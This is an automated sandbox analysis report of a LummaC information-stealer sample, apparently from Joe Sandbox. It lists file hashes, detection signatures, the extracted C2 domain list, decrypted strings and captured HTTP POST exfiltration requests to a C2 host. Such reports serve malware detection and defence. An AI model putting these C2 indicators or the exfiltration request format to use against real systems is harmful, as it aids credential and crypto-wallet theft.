Edit tour

Windows Analysis Report
iPUk65i3yI.exe

Overview

General Information

Sample name:	iPUk65i3yI.exe renamed because original name is a hash value
Original sample name:	76845f267f56cb0fcc216d4ac9548131.exe
Analysis ID:	1429931
MD5:	76845f267f56cb0fcc216d4ac9548131
SHA1:	7adbac444ea4368fd5c152099e40382e7a18ca3d
SHA256:	c165f0872716556f3a5612b4f220fea8620b32fc7ff9596fc430f8b9f88b513b
Tags:	32exetrojan
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

iPUk65i3yI.exe (PID: 7352 cmdline: "C:\Users\user\Desktop\iPUk65i3yI.exe" MD5: 76845F267F56CB0FCC216D4AC9548131)

WerFault.exe (PID: 7516 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7352 -s 1548 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "strollheavengwu.shop"], "Build id": "P6Mk0M--superstar"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1992264656.0000000002D77000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1168:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Process Memory Space: iPUk65i3yI.exe PID: 7352	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: iPUk65i3yI.exe PID: 7352	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.3.iPUk65i3yI.exe.3030000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "strollheavengwu.shop"], "Build id": "P6Mk0M--superstar"}

Machine Learning detection for sample

Source: iPUk65i3yI.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: demonstationfukewko.shop
Source: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: liabilitynighstjsko.shop
Source: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: alcojoldwograpciw.shop
Source: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: incredibleextedwj.shop
Source: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shortsvelventysjo.shop
Source: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shatterbreathepsw.shop
Source: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: tolerateilusidjukl.shop
Source: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: productivelookewr.shop
Source: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: strollheavengwu.shop
Source: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: P6Mk0M--superstar

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

Code function: 0_2_00415999 CryptUnprotectData,

0_2_00415999

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

Unpacked PE file: 0.2.iPUk65i3yI.exe.400000.0.unpack

Source: iPUk65i3yI.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00422458
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0041C540
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	0_2_004357CA
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	0_2_004359E2
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov ecx, dword ptr [esp+000000A4h]	0_2_00414C49
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_00433D10
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [esp+08h]	0_2_00433D10
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_00424087
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_00424084
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_0040D140
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov esi, ebp	0_2_00403260
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_00423943
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [esi+10h]	0_2_0041F234
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then inc ebx	0_2_004142F0
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then push 00000000h	0_2_0041E451
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_0041A420
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_0041A420
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then jmp ecx	0_2_00414596
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [esi+10h]	0_2_0041F640
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_004146E6
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [esi+4Ch]	0_2_0042271D
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then inc eax	0_2_004137C9
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then movzx ebx, word ptr [edx]	0_2_0041F828
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_0041A8C0
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_0042F890
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_0042594F
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_004259CD
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_004259D2
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000E0h]	0_2_00411A44
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then inc ebx	0_2_0040FA49
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then movzx ebp, byte ptr [eax+edx]	0_2_00431A70
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then cmp byte ptr [esi+ebx+01h], 00000000h	0_2_0041CAEC
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then jmp edx	0_2_00437C47
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then jmp edx	0_2_00437C45
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [esi+000000C0h]	0_2_00413C46
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	0_2_00421CC7
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [esi+30h]	0_2_00424CB0
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov ecx, dword ptr [esp+00000084h]	0_2_00415D7D
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [esi+000005E0h]	0_2_00413E4A
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_02D142EB
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_02D142EE
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_02CFD3A7
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then cmp byte ptr [esi+ebx+01h], 00000000h	0_2_02D0D377
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [esi+000005E0h]	0_2_02D040B1
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_02D0A687
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_02D0A687
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then push 00000000h	0_2_02D0E6B8
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_02D126BF
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then jmp ecx	0_2_02D047FD
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_02D0C7A7
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_02D13BAA
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov esi, ebp	0_2_02CF34C7
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [00440984h]	0_2_02D07494
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [esi+10h]	0_2_02D0F49B
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then inc ebx	0_2_02D04557
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_02D1FAF7
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then movzx ebx, word ptr [edx]	0_2_02D0FA8F
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then inc eax	0_2_02D03A30
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	0_2_02D25A31
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_02D15BB6
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_02D0AB27
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [esi+10h]	0_2_02D0F8A7
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [esi+4Ch]	0_2_02D12984
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_02D0494D
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov ecx, dword ptr [esp+000000A4h]	0_2_02D04EB0
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then jmp edx	0_2_02D27EAE
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [esi+000000C0h]	0_2_02D03EAD
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then jmp edx	0_2_02D27EAC
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov ecx, dword ptr [esp+00000084h]	0_2_02D05FE4
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_02D23F77
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [esp+08h]	0_2_02D23F77
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [esi+30h]	0_2_02D14F17
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	0_2_02D11F2E
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then movzx ebp, byte ptr [eax+edx]	0_2_02D21CD7
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000E0h]	0_2_02D01CAB
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then inc ebx	0_2_02CFFCB0
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	0_2_02D25C49
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_02D15C34
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_02D15C39

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: demonstationfukewko.shop
Source: Malware configuration extractor	URLs: liabilitynighstjsko.shop
Source: Malware configuration extractor	URLs: alcojoldwograpciw.shop
Source: Malware configuration extractor	URLs: incredibleextedwj.shop
Source: Malware configuration extractor	URLs: shortsvelventysjo.shop
Source: Malware configuration extractor	URLs: shatterbreathepsw.shop
Source: Malware configuration extractor	URLs: tolerateilusidjukl.shop
Source: Malware configuration extractor	URLs: productivelookewr.shop
Source: Malware configuration extractor	URLs: strollheavengwu.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 58Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18167Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8788Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20441Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 3798Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1417Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 556781Host: strollheavengwu.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: strollheavengwu.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: strollheavengwu.shop

Source: iPUk65i3yI.exe, 00000000.00000003.1731789075.00000000054F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: iPUk65i3yI.exe, 00000000.00000003.1731789075.00000000054F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: iPUk65i3yI.exe, 00000000.00000003.1731789075.00000000054F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: iPUk65i3yI.exe, 00000000.00000003.1731789075.00000000054F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: iPUk65i3yI.exe, 00000000.00000003.1731789075.00000000054F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: iPUk65i3yI.exe, 00000000.00000003.1731789075.00000000054F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: iPUk65i3yI.exe, 00000000.00000003.1731789075.00000000054F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: iPUk65i3yI.exe, 00000000.00000003.1731789075.00000000054F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: iPUk65i3yI.exe, 00000000.00000003.1731789075.00000000054F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.3.dr	String found in binary or memory: http://upx.sf.net
Source: iPUk65i3yI.exe, 00000000.00000003.1731789075.00000000054F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: iPUk65i3yI.exe, 00000000.00000003.1731789075.00000000054F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: iPUk65i3yI.exe, 00000000.00000003.1713571924.0000000002DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/
Source: iPUk65i3yI.exe, 00000000.00000003.1713448217.0000000002DE6000.00000004.00000020.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1713571924.0000000002DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/.
Source: iPUk65i3yI.exe, 00000000.00000003.1783248436.0000000002E56000.00000004.00000020.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1783003790.0000000002E4D000.00000004.00000020.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000002.1992466871.0000000002E57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/a
Source: iPUk65i3yI.exe, 00000000.00000002.1992856710.0000000005575000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000002.1992314162.0000000002DE6000.00000004.00000020.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1713448217.0000000002DE6000.00000004.00000020.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1713571924.0000000002DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/api
Source: iPUk65i3yI.exe, 00000000.00000003.1713448217.0000000002DE6000.00000004.00000020.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1713571924.0000000002DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/apif
Source: iPUk65i3yI.exe, 00000000.00000002.1992314162.0000000002DE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/apipp
Source: iPUk65i3yI.exe, 00000000.00000003.1713877551.000000000553E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
